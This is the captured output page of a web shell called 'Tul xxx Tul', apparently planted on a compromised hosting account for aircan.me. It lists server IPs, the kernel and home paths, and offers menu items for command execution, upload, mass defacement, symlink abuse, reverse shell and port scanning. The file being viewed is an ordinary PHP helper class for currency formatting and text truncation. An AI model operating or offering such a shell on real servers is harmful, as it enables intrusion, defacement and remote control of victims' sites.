Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostoremaylor
/
app
/
helpers
/
Viewing: Utils.php
<?php namespace App\Helpers; use App\Services\SiteSettings; class Utils { /** * Formats a currency amount using the system's active currency settings. * Functions intelligently: if given a string with text (e.g., "$3M - $5M"), * it will run a text replacement instead of a strict numeric format. */ public static function formatCurrency(float|string $amount, string $currency = ''): string { if (is_string($amount) && !is_numeric($amount)) { return SiteSettings::formatText($amount); } try { $settings = SiteSettings::get(); $symbol = $settings['currency_symbol'] ?? '$'; $position = $settings['currency_position'] ?? 'before'; $code = $currency ?: ($settings['currency_code'] ?? 'USD'); } catch (\Throwable) { $symbol = '$'; $position = 'before'; $code = $currency ?: 'USD'; } $formatted = number_format($amount, 2, '.', ','); if ($position === 'after') { return $formatted . ' ' . $symbol; } return $symbol . $formatted; } public static function truncate(string $text, int $length = 120): string { if (mb_strlen($text) <= $length) { return $text; } return mb_substr($text, 0, $length) . '…'; } }
Coded With 💗 by
0x6ick